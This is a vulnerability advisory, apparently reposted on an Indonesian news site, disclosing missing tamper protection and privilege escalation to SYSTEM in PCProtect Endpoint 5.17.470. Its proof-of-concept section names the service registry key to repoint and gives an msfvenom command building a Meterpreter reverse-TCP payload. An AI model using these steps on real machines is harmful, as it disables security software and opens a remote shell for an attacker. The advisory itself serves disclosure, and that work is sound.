PCProtect Endpoint 5.17.470 Kerusakan / Peningkatan Hak Istimewa

  • Whatsapp
PHP filter_var Bypass Patch
PHP filter var Bypass Patch

News.nextcloud.asia

PCProtect Endpoint versi 5.17.470 gagal memberikan perlindungan anti-gangguan yang memadai yang dapat dimanfaatkan untuk mencapai hak istimewa SISTEM.

SHA-256 | 2d06bd74496b08a5700c2c8e026dcb7ac169ea6a7167829bfbda24a822742cfd

[+] Credits: Yehia Elghaly (aka Mrvar0x)    
[+] Website: https://mrvar0x.com/
[+] Source: https://mrvar0x.com/2022/07/21/pcprotect-endpoint-tampering-exploit/

Vendor:
=============
www.pcprotect.com

Product:
===========
PCProtect Endpoint Protection v5.17.470

PCProtect is a malware detection and antivirus scanner. It uses advanced heuristics and a massive, continuously updated database to detect malware files on Windows, macOS, and Android devices. It also has an iOS app.
PCProtect also includes additional features, including:
Web shield - Virtual private network (VPN) - Data breach monitor - Identity theft protection - System optimizer- Password manager- And much more…

Vulnerability Type:
===================
Missing Tamper Protection
Incorrect Authorization

CVE Reference:
==============
N/A

Security Issue:
================
PCProtect Antivirus prior to version 5.17.470 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling PCProtect Antivirus and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityService
Change ImagePath path to a malicious executable.

Exploit/POC:
=============
Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart

Network Access:
===============
Local

Severity:
=========
High

[+] Disclaimer
The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

Mrvar0x

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.